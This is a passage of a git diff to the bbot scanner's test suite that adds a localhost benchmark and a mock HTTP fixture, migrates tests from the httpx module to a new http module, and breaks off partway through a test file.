http.server import HTTPServer, BaseHTTPRequestHandler + +import pytest + + +BENCH_PORT = 18899 + + +class _BenchHandler(BaseHTTPRequestHandler): + """Minimal HTTP handler — returns 200 with a small HTML body for all paths.""" + + def do_GET(self): + body = f"{self.path}ok".encode() + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, *args): + pass + + +@pytest.fixture(scope="module", autouse=True) +def bench_httpserver(): + server = HTTPServer(("127.0.0.1", BENCH_PORT), _BenchHandler) + t = Thread(target=server.serve_forever, daemon=True) + t.start() + yield server + server.shutdown() + + +def _run_scan(num_urls): + """Run a scan with num_urls directory targets, return (http_responses, total_events).""" + from bbot.scanner import Scanner + + targets = [f"http://127.0.0.1:{BENCH_PORT}/dir{i}/" for i in range(num_urls)] + config = { + "web": {"http_timeout": 10, "http_retries": 0, "ssl_verify": False}, + "scope": {"search_distance": 0, "report_distance": 0}, + "modules": {"speculate": {"ports": str(BENCH_PORT)}}, + "excavate": False, + "aggregate": False, + "cloudcheck": False, + "omit_event_types": [], + } + + scan = Scanner(*targets, modules=["http"], config=config) + event_counts = {} + + async def _inner(): + async for event in scan.async_start(): + event_counts[event.type] = event_counts.get(event.type, 0) + 1 + + asyncio.run(_inner()) + return event_counts.get("HTTP_RESPONSE", 0), sum(event_counts.values()) + + +class TestScanThroughputBenchmarks: + """Benchmark full scan pipeline throughput with blasthttp.""" + + def test_scan_throughput_100(self, benchmark): + """100 target URLs through the full scan pipeline.""" + result = benchmark.pedantic(_run_scan, args=(100,), rounds=3, warmup_rounds=1) + http_responses, total = result + assert http_responses >= 100, f"Expected at least 100 HTTP_RESPONSE events, got {http_responses}" + + def test_scan_throughput_1000(self, benchmark): + """1000 target URLs through the full scan pipeline.""" + result = benchmark.pedantic(_run_scan, args=(1000,), rounds=3, warmup_rounds=1) + http_responses, total = result + assert http_responses >= 1000, f"Expected at least 1000 HTTP_RESPONSE events, got {http_responses}" diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index ac4ef7b8b2..216667d36d 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -42,11 +42,6 @@ CORE.merge_default(test_config) -@pytest.fixture -def assert_all_responses_were_requested() -> bool: - return False - - @pytest.fixture(autouse=True) def silence_live_logging(): for handler in logging.getLogger().handlers: @@ -93,24 +88,53 @@ def bbot_httpserver_ssl(): server.clear() -def should_mock(request): - return ( - request.url.host - not in ["127.0.0.1", "localhost", "raw.githubusercontent.com", "asndb.api.bbot.io"] + interactsh_servers - ) +def _should_mock(host): + """Check if a request to this host should be mocked (True = mock, False = pass through).""" + return host not in ["127.0.0.1", "localhost", "raw.githubusercontent.com"] + interactsh_servers -def pytest_collection_modifyitems(config, items): - # make sure all tests have the httpx_mock marker - for item in items: - item.add_marker( - pytest.mark.httpx_mock( - should_mock=should_mock, - assert_all_requests_were_expected=False, - assert_all_responses_were_requested=False, - can_send_already_matched_responses=True, - ) - ) +@pytest.fixture +def blasthttp_mock(): + """ + Mock fixture for blasthttp engine requests. + + Patches HTTPEngine.request() to intercept external requests and return + mock responses. Requests to localhost/127.0.0.1 pass through to real blasthttp. + """ + from bbot.core.helpers.web.web import WebHelper + from bbot.test.mock_blasthttp import BlasthttpMock + + mock = BlasthttpMock(should_mock_fn=_should_mock) + original_request = WebHelper.request + + async def patched_request(self, *args, **kwargs): + # Peek at URL without modifying kwargs + url = kwargs.get("url", "") + if not url and args: + url = str(args[0]) + # If resolve_ip points to localhost, pass through to real blasthttp + resolve_ip = kwargs.get("resolve_ip", "") + if resolve_ip and resolve_ip in ("127.0.0.1", "::1"): + return await original_request(self, *args, **kwargs) + if url and mock.should_intercept(url): + # Read raise_error before the mock pops it + raise_error = kwargs.get("raise_error", False) + result = await mock.handle_engine_request(self, *args, **kwargs) + # Convert engine-style error dicts to WebError exceptions + if isinstance(result, dict) and "_request_error" in result: + if raise_error: + from bbot.errors import WebError + + error = WebError(result["_request_error"]) + error.response = result.get("_response") + raise error + return None + return result + return await original_request(self, *args, **kwargs) + + WebHelper.request = patched_request + yield mock + WebHelper.request = original_request @pytest.fixture diff --git a/bbot/test/fastapi_test.py b/bbot/test/fastapi_test.py index a4a1d57107..be327ed541 100644 --- a/bbot/test/fastapi_test.py +++ b/bbot/test/fastapi_test.py @@ -7,7 +7,7 @@ @app.get("/start") async def start(targets: List[str] = Query(...)): - scanner = Scanner(*targets, modules=["httpx"]) + scanner = Scanner(*targets, modules=["http"]) events = [e async for e in scanner.async_start()] return [e.json() for e in events] diff --git a/bbot/test/mock_blasthttp.py b/bbot/test/mock_blasthttp.py new file mode 100644 index 0000000000..5ec2fa9612 --- /dev/null +++ b/bbot/test/mock_blasthttp.py @@ -0,0 +1,358 @@ +""" +Mock fixture for blasthttp web requests. + +Intercepts WebHelper.request() at the Python level. Requests to external +hosts are handled by registered mock responses/callbacks. Requests to +localhost/127.0.0.1 pass through to the real blasthttp client. + +Drop-in types (MockRequest, MockResponse, TimeoutException) replace their +equivalents in test callback signatures. +""" + +import re +import json as _json +import asyncio +from urllib.parse import urlparse, urlencode + +from bbot.core.helpers.web.blast_response import BlasthttpResponse + + +# ── Mock types for test callbacks ──── + + +class TimeoutException(RuntimeError): + """Mock timeout exception for tests.""" + + pass + + +class MockRequest: + """Mock request object for test callbacks.""" + + def __init__(self, url, method="GET", headers=None, content=b""): + self.url = url + self.method = method + self.headers = headers or {} + self.content = content if isinstance(content, bytes) else content.encode() + + +class MockResponse: + """Mock response object for test callbacks.""" + + def __init__(self, status_code=200, json=None, text=None, headers=None): + self.status_code = status_code + if text is not None: + self.text = text + elif json is not None: + self.text = _json.dumps(json) + else: + self.text = "" + self.headers = headers or {} + + +# ── Internal mock helpers ────────────────────────────────────────── + + +class _MockRawResponse: + """Mimics blasthttp PyO3 Response for BlasthttpResponse.__init__.""" + + def __init__(self, status=200, url="", body="", headers=None, elapsed_ms=0): + self.status = status + self.url = url + self.body = body + self.body_bytes = body.encode("utf-8", errors="surrogateescape") if isinstance(body, str) else body + self.headers = headers or [] + self.elapsed_ms = elapsed_ms + + +# ── Main mock class ─────────────────────────────────────────────── + + +class BlasthttpMock: + """ + Mock fixture that intercepts HTTPEngine.request() calls. + + Supports the add_response() / add_callback() API for mocking HTTP requests in + tests. + """ + + def __init__(self, should_mock_fn=None): + self._handlers = [] # FIFO queue of handlers + self._recycled = [] # consumed handlers available for reuse + self._should_mock = should_mock_fn or (lambda host: True) + + def add_response( + self, + url=None, + method=None, + text=None, + json=None, + content=None, + status_code=200, + headers=None, + match_headers=None, + match_json=None, + ): + """Register a static mock response.""" + # Normalize response headers to list of tuples + if headers is None: + header_list = [] + elif isinstance(headers, dict): + header_list = [] + for k, v in headers.items(): + if isinstance(v, list): + # Expand list values into multiple tuples (e.g. multiple Set-Cookie) + for item in v: + header_list.append((k, item)) + else: + header_list.append((k, v)) + elif isinstance(headers, list): + header_list = list(headers) + else: + header_list = [] + + # Build body — content (bytes) takes lowest priority after text/json + if text is not None: + body = text + # Auto-add Content-Type for text + if not any(k.lower() == "content-type" for k, _ in header_list): + header_list.append(("Content-Type", "text/plain; charset=utf-8")) + elif json is not None: + body = _json.dumps(json) + if not any(k.lower() == "content-type" for k, _ in header_list): + header_list.append(("Content-Type", "application/json")) + elif content is not None: + # Raw bytes content — decode to str for body field, keep as-is for body_bytes + if isinstance(content, bytes): + body = content.decode("utf-8", errors="surrogateescape") + else: + body = str(content) + if not any(k.lower() == "content-type" for k, _ in header_list): + header_list.append(("Content-Type", "application/octet-stream")) + else: + body = "" + + self._handlers.append( + { + "type": "response", + "url": url, + "method": method, + "match_headers": match_headers, + "match_json": match_json, + "status_code": status_code, + "body": body, + "headers": header_list, + } + ) + + def add_callback(self, callback, url=None): + """Register a callback that receives MockRequest and returns MockResponse.""" + self._handlers.append( + { + "type": "callback", + "url": url, + "callback": callback, + } + ) + + def should_intercept(self, url): + """Check if this URL should be intercepted by the mock.""" + host = urlparse(url).hostname or "" + return self._should_mock(host) + + def _url_matches(self, pattern, url): + """Match URL against string or compiled regex.""" + if pattern is None: + return True + if isinstance(pattern, re.Pattern): + return pattern.search(url) is not None + return url == pattern + + def _matches(self, handler, url, method, headers, body_str): + """Check if a handler matches the request criteria.""" + if not self._url_matches(handler.get("url"), url): + return False + + handler_method = handler.get("method") + if handler_method and method.upper() != handler_method.upper(): + return False + + match_headers = handler.get("match_headers") + if match_headers: + for k, v in match_headers.items(): + if headers.get(k) != v: + return False + + match_json = handler.get("match_json") + if match_json is not None: + try: + req_json = _json.loads(body_str) if body_str else {} + for k, v in match_json.items(): + if req_json.get(k) != v: + return False + except (ValueError, TypeError): + return False + + return True + + def _make_blast_response(self, url, method, status_code, body, headers): + """Create a BlasthttpResponse from mock data.""" + raw = _MockRawResponse( + status=status_code, + url=url, + body=body, + headers=headers, + ) + return BlasthttpResponse(raw, request_url=url, method=method) + + async def _find_and_execute(self, url, method, headers, body_str): + """ + Find a matching handler and execute it. + + Handlers are consumed in FIFO order. + Consumed handlers are recycled so they can be reused for subsequent + requests (matching can_send_already_matched_responses=True). + """ + # Try primary handlers first, then recycled ones + for handler_list in (self._handlers, self._recycled): + for i, handler in enumerate(handler_list): + if handler["type"] == "response": + if self._matches(handler, url, method, headers, body_str): + # Consume from primary queue, recycle + if handler_list is self._handlers: + self._handlers.pop(i) + self._recycled.append(handler) + return self._make_blast_response( + url, method, handler["status_code"], handler["body"], handler["headers"] + ) + + elif handler["type"] == "callback": + if handler.get("url") is not None and not self._url_matches(handler["url"], url): + continue + + # Consume from primary queue, recycle + if handler_list is self._handlers: + self._handlers.pop(i) + self._recycled.append(handler) + + callback = handler["callback"] + content = body_str.encode() if isinstance(body_str, str) else (body_str or b"") + mock_request = MockRequest(url=url, method=method, headers=headers, content=content) + + # Call callback — may be sync or async, may raise + if asyncio.iscoroutinefunction(callback): + result = await callback(mock_request) + else: + result = callback(mock_request) + + # Convert MockResponse to BlasthttpResponse + if isinstance(result, MockResponse): + if isinstance(result.headers, dict): + resp_headers = [] + for k, v in result.headers.items(): + if isinstance(v, list): + for item in v: + resp_headers.append((k, item)) + else: + resp_headers.append((k, v)) + else: + resp_headers = result.headers or [] + return self._make_blast_response(url, method, result.status_code, result.text, resp_headers) + + return result + + # No handler matched — raise error (simulates unreachable host) + raise RuntimeError(f"No mock response registered for {method} {url}") + + async def handle_engine_request(self, web_helper_self, *args, **kwargs): + """ + Process kwargs like WebHelper.request() and return a mock response. + + Called by the patched request method when should_intercept() is True. + """ + raise_error = kwargs.pop("raise_error", False) + kwargs.pop("cache_for", None) + kwargs.pop("client", None) + kwargs.pop("stream", None) + kwargs.pop("files", None) + + allow_redirects = kwargs.pop("allow_redirects", None) + if allow_redirects is not None and "follow_redirects" not in kwargs: + kwargs["follow_redirects"] = allow_redirects + + if len(args) == 1: + kwargs["url"] = args[0] + args = () + + url = kwargs.pop("url", "") + method = kwargs.pop("method", "GET") + headers = kwargs.pop("headers", None) or {} + body = kwargs.pop("body", None) + data = kwargs.pop("data", None) + json_body = kwargs.pop("json", None) + # Pop remaining kwargs so they don't cause issues + cookies = kwargs.pop("cookies", None) + auth = kwargs.pop("auth", None) + kwargs.pop("timeout", None) + follow_redirects = kwargs.pop("follow_redirects", None) + kwargs.pop("max_redirects", None) + kwargs.pop("proxy", None) + kwargs.pop("retries", None) + kwargs.pop("params", None) + kwargs.pop("max_body_size", None) + + # Synthesize Authorization header from auth tuple (mirrors engine.py) + if auth: + import base64 + + user, passwd = auth + cred = base64.b64encode(f"{user}:{passwd}".encode()).decode() + headers["Authorization"] = f"Basic {cred}" + + # Synthesize Cookie header from cookies dict (mirrors engine.py) + if cookies: + cookie_str = "; ".join(f"{ck}={cv}" for ck, cv in cookies.items()) + headers["Cookie"] = cookie_str + + # Determine body string for matching + body_str = "" + if json_body is not None: + body_str = _json.dumps(json_body) + elif data is not None: + if isinstance(data, dict): + body_str = urlencode(data) + else: + body_str = str(data) + elif body is not None: + body_str = str(body) + + try: + response = await self._find_and_execute(url, method, headers, body_str) + + # Follow redirects if requested (mirrors blasthttp behavior) + max_hops = 10 + while follow_redirects and response is not None and max_hops > 0: + if not hasattr(response, "status_code"): + break + if response.status_code not in (301, 302, 303, 307, 308): + break + location = response.headers.get("location", "") + if not location: + break + # Resolve relative redirect URLs + if location.startswith("/"): + parsed_url = urlparse(url) + location = f"{parsed_url.scheme}://{parsed_url.netloc}{location}" + url = location + max_hops -= 1 + response = await self._find_and_execute(url, method, headers, body_str) + + return response + except Exception as e: + import logging + + logging.getLogger("bbot.test.mock").debug(f"Mock exception for {method} {url}: {e}") + error_msg = str(e) + if raise_error: + return {"_request_error": error_msg, "_response": None} + return None diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py index 3dca8aeded..2c122f3191 100644 --- a/bbot/test/test_step_1/test_bbot_fastapi.py +++ b/bbot/test/test_step_1/test_bbot_fastapi.py @@ -1,9 +1,12 @@ import time -import httpx +import json import multiprocessing from pathlib import Path from subprocess import Popen from contextlib import suppress +from urllib.request import urlopen, Request +from urllib.error import URLError +from urllib.parse import urlencode cwd = Path(__file__).parent.parent.parent @@ -11,7 +14,7 @@ def run_bbot_multiprocess(queue): from bbot.scanner import Scanner - scan = Scanner("http://127.0.0.1:8888", "blacklanternsecurity.com", modules=["httpx"]) + scan = Scanner("http://127.0.0.1:8888", "blacklanternsecurity.com", modules=["http"]) events = [e.json() for e in scan.start()] queue.put(events) @@ -39,22 +42,20 @@ def test_bbot_fastapi(bbot_httpserver): start_time = time.time() while True: try: - response = httpx.get("http://127.0.0.1:8978/ping") - response.raise_for_status() + response = urlopen("http://127.0.0.1:8978/ping") + response.read() break - except httpx.HTTPError: + except (URLError, ConnectionError): if time.time() - start_time > 60: raise TimeoutError("Server did not start within 60 seconds.") time.sleep(0.1) continue # run a scan - response = httpx.get( - "http://127.0.0.1:8978/start", - params={"targets": ["http://127.0.0.1:8888", "blacklanternsecurity.com"]}, - timeout=100, - ) - events = response.json() + params = urlencode({"targets": ["http://127.0.0.1:8888", "blacklanternsecurity.com"]}, doseq=True) + req = Request(f"http://127.0.0.1:8978/start?{params}") + response = urlopen(req, timeout=100) + events = json.loads(response.read()) assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 9824bd3fee..38a84fe90d 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -286,7 +286,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): out, err = capsys.readouterr() assert result is None assert "| dnsbrute " in out - assert "| httpx " in out + assert "| http " in out assert "| robots " in out # list modules by flag @@ -295,7 +295,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): out, err = capsys.readouterr() assert result is None assert "| dnsbrute " in out - assert "| httpx " in out + assert "| http " in out assert "| robots " not in out # list modules by flag + required flag @@ -304,7 +304,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): out, err = capsys.readouterr() assert result is None assert "| chaos " in out - assert "| httpx " not in out + assert "| http " not in out # list modules by flag + excluded flag monkeypatch.setattr("sys.argv", ["bbot", "-f", "subdomain-enum", "-ef", "active", "-l"]) @@ -312,7 +312,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): out, err = capsys.readouterr() assert result is None assert "| chaos " in out - assert "| httpx " not in out + assert "| http " not in out # list modules by flag + excluded module monkeypatch.setattr("sys.argv", ["bbot", "-f", "subdomain-enum", "-em", "dnsbrute", "-l"]) @@ -320,7 +320,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): out, err = capsys.readouterr() assert result is None assert "| dnsbrute " not in out - assert "| httpx " in out + assert "| http " in out # output modules override caplog.clear() diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 5f1e458ce0..cac3d49fe5 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -621,7 +621,7 @@ async def test_events(events, helpers): assert hostless_event_json["data"] == "asdf" assert "host" not in hostless_event_json - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) + http_response = scan.make_event(blasthttp_response, "HTTP_RESPONSE", parent=scan.root_event) assert http_response.parent_id == scan.root_event.id assert http_response.data["input"] == "http://example.com:80" assert ( diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 68bb524341..b8a00406bc 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -963,7 +963,7 @@ async def test_parameter_validation(helpers): async def test_rm_temp_dir_at_exit(helpers): from bbot.scanner import Scanner - scan = Scanner("127.0.0.1", modules=["httpx"]) + scan = Scanner("127.0.0.1", modules=["http"]) await scan._prep() temp_dir = scan.home / "temp" diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 161fad5958..895d1b0dd2 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -321,10 +321,10 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 + # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.0.1/31", - modules=["httpx"], + modules=["http"], _config={ "dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 1, "search_distance": 0}, @@ -389,16 +389,16 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False + # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.0.1/31", - modules=["httpx"], + modules=["http"], _config={ "dns": {"minimal": False, "search_distance": 2}, "scope": {"search_distance": 0, "report_distance": 1}, "excavate": True, "speculate": True, - "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], }, ) @@ -406,8 +406,8 @@ def custom_setup(scan): assert len(events) == 8 # 2024-08-01 # Removed OPEN_TCP_PORT("127.0.0.77:8888") - # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by httpx to generate the URL. it was graph-important. - # now for whatever reason, httpx is visiting the url directly and the open port isn't being used + # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by http module to generate the URL. it was graph-important. + # now for whatever reason, http module is visiting the url directly and the open port isn't being used # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way. assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) @@ -477,16 +477,16 @@ def custom_setup(scan): assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) - # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 + # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.0.1/31", - modules=["httpx"], + modules=["http"], _config={ "dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 1, "search_distance": 1}, "excavate": True, "speculate": True, - "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], }, ) @@ -572,7 +572,7 @@ def custom_setup(scan): events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.0.111/31", "127.0.0.222", "127.0.0.33", seeds=["127.0.0.111/31"], - modules=["httpx"], + modules=["http"], output_modules=["python"], _config={ "dns": {"minimal": False, "search_distance": 2}, @@ -815,7 +815,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): scan = bbot_scanner( "127.0.0.0/29", "test.notreal", seeds=["http://127.0.0.1:8888"], - modules=["httpx"], + modules=["http"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"], ) @@ -872,7 +872,7 @@ async def test_scope_accuracy_with_special_urls(bbot_scanner, bbot_httpserver): bbot_httpserver.expect_request(uri="/v2/users/spacex").respond_with_data(response_data="") bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data(response_data="") - scan = bbot_scanner("ORG:spacex", modules=["httpx", "social", "dockerhub"], config={"speculate": True, "excavate": True}) + scan = bbot_scanner("ORG:spacex", modules=["http", "social", "dockerhub"], config={"speculate": True, "excavate": True}) await scan._prep() scan.modules["dockerhub"].site_url = "http://127.0.0.1:8888" diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 8054e3c95d..0096fedef1 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -9,7 +9,7 @@ @pytest.mark.asyncio -async def test_modules_basic_checks(events, httpx_mock): +async def test_modules_basic_checks(events, blasthttp_mock): from bbot.scanner import Scanner scan = Scanner(config={"omit_event_types": ["URL_UNVERIFIED"]}) @@ -406,7 +406,7 @@ async def setup(self): @pytest.mark.asyncio -async def test_modules_basic_stats(helpers, events, bbot_scanner, httpx_mock, monkeypatch): +async def test_modules_basic_stats(helpers, events, bbot_scanner, blasthttp_mock, monkeypatch): from bbot.modules.base import BaseModule class dummy(BaseModule): diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index e3f3cd2afb..d6d8ff3026 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -515,7 +515,7 @@ async def test_preset_module_resolution(clean_default_config): assert "active" in dotnetnuke_flags assert "subdomain-enum" in sslcert_flags assert "subdomain-enum" in wayback_flags - assert "httpx" in dotnetnuke_preloaded["deps"]["modules"] + assert "http" in dotnetnuke_preloaded["deps"]["modules"] # make sure we have the expected defaults assert not preset.scan_modules @@ -532,7 +532,7 @@ async def test_preset_module_resolution(clean_default_config): # make sure dependency resolution works as expected preset = Preset(modules=["dotnetnuke"]).bake() - assert set(preset.scan_modules) == {"dotnetnuke", "httpx"} + assert set(preset.scan_modules) == {"dotnetnuke", "http"} # make sure flags work as expected preset = Preset(flags=["subdomain-enum"]).bake() @@ -565,7 +565,7 @@ async def test_preset_module_resolution(clean_default_config): # normal module enableement preset = Preset(modules=["sslcert", "dotnetnuke", "wayback"]).bake() - assert set(preset.scan_modules) == {"sslcert", "dotnetnuke", "wayback", "httpx"} + assert set(preset.scan_modules) == {"sslcert", "dotnetnuke", "wayback", "http"} # modules + flag exclusions preset = Preset(exclude_flags=["active"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() @@ -588,7 +588,7 @@ async def test_preset_module_resolution(clean_default_config): "excavate", "unarchive", "txt", - "httpx", + "http", "csv", "dotnetnuke", } @@ -1069,7 +1069,7 @@ async def test_preset_override(clean_default_config): assert preset.config["web"]["spider_distance"] == 1 assert preset.config["web"]["spider_depth"] == 2 assert preset.config["modules"]["asdf"]["option1"] == "fdsa" - assert set(preset.scan_modules) == {"httpx", "c99", "robots", "virustotal", "securitytrails"} + assert set(preset.scan_modules) == {"http", "c99", "robots", "virustotal", "securitytrails"} async def test_preset_require_exclude(clean_default_config): @@ -1101,7 +1101,7 @@ def get_module_flags(p): assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] - assert "httpx" not in [x[0] for x in module_flags] + assert "http" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) assert any("safe" in flags for module, flags in module_flags) @@ -1112,7 +1112,7 @@ def get_module_flags(p): assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] - assert "httpx" not in [x[0] for x in module_flags] + assert "http" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) assert any("safe" in flags for module, flags in module_flags) @@ -1123,7 +1123,7 @@ def get_module_flags(p): assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] - assert "httpx" in [x[0] for x in module_flags] + assert "http" in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) assert any("safe" in flags for module, flags in module_flags) diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index 0e0bb4c690..ec2520783b 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -45,7 +45,8 @@ async def test_python_api(clean_default_config): # make sure config loads properly bbot_home = "/tmp/.bbot_python_api_test" - Scanner("127.0.0.1", config={"home": bbot_home}) + scan4 = Scanner("127.0.0.1", config={"home": bbot_home}) + await scan4._prep() assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") # output modules override @@ -84,7 +85,8 @@ async def test_python_api_sync(clean_default_config): assert list(scan2.helpers.read_file(out_file)) # make sure config loads properly bbot_home = "/tmp/.bbot_python_api_test" - Scanner("127.0.0.1", config={"home": bbot_home}) + scan3 = Scanner("127.0.0.1", config={"home": bbot_home}) + await scan3._prep() assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") @@ -109,16 +111,18 @@ def test_python_api_sync_no_pending_tasks(): assert len(pending) == 0, f"Found {len(pending)} pending tasks after scan: {pending}" -def test_python_api_validation(): +async def test_python_api_validation(): from bbot.scanner import Scanner, Preset # invalid target with pytest.raises(ValidationError) as error: - Scanner("asdf:::asdf") + scan = Scanner("asdf:::asdf") + await scan._prep() assert str(error.value) == 'Unable to autodetect data type from "asdf:::asdf"' # invalid module with pytest.raises(ValidationError) as error: - Scanner(modules=["asdf"]) + scan = Scanner(modules=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find scan module "asdf". Did you mean "asn"?' # invalid output module with pytest.raises(ValidationError) as error: @@ -126,7 +130,8 @@ def test_python_api_validation(): assert str(error.value) == 'Could not find output module "asdf". Did you mean "nats"?' # invalid excluded module with pytest.raises(ValidationError) as error: - Scanner(exclude_modules=["asdf"]) + scan = Scanner(exclude_modules=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find module "asdf". Did you mean "asn"?' # invalid flag with pytest.raises(ValidationError) as error: @@ -142,7 +147,8 @@ def test_python_api_validation(): assert str(error.value) == 'Could not find flag "activ". Did you mean "active"?' # output module as normal module with pytest.raises(ValidationError) as error: - Scanner(modules=["json"]) + scan = Scanner(modules=["json"]) + await scan._prep() assert str(error.value) == 'Could not find scan module "json". Did you mean "asn"?' # normal module as output module with pytest.raises(ValidationError) as error: @@ -150,7 +156,8 @@ def test_python_api_validation(): assert str(error.value) == 'Could not find output module "robots". Did you mean "rabbitmq"?' # invalid preset type with pytest.raises(ValidationError) as error: - Scanner(preset="asdf") + scan = Scanner(preset="asdf") + await scan._prep() assert str(error.value) == 'Preset must be of type Preset, not "str"' # include nonexistent preset with pytest.raises(ValidationError) as error: diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 81e063e053..0d138f9cd4 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -225,41 +225,41 @@ def mock_event(type, module, parent=None): mock_scan = SimpleNamespace(status_frequency=60) stats = ScanStats(mock_scan) - httpx_mod = mock_module("httpx", ["URL", "HTTP_RESPONSE"]) + http_mod = mock_module("http", ["URL", "HTTP_RESPONSE"]) excavate_mod = mock_module("excavate", ["URL_UNVERIFIED", "WEB_PARAMETER"]) ffuf_mod = mock_module("ffuf_shortnames", ["URL_UNVERIFIED"]) ffuf2_mod = mock_module("ffuf", ["URL_UNVERIFIED"]) speculate_mod = mock_module("speculate", ["DNS_NAME", "OPEN_TCP_PORT", "IP_ADDRESS", "FINDING", "ORG_STUB"]) robots_mod = mock_module("robots", ["URL_UNVERIFIED"]) - # 1) excavate discovers URL_UNVERIFIED from HTTP_RESPONSE, httpx verifies → excavate gets credit + # 1) excavate discovers URL_UNVERIFIED from HTTP_RESPONSE, http verifies → excavate gets credit for _ in range(5): parent = mock_event("URL_UNVERIFIED", excavate_mod) - 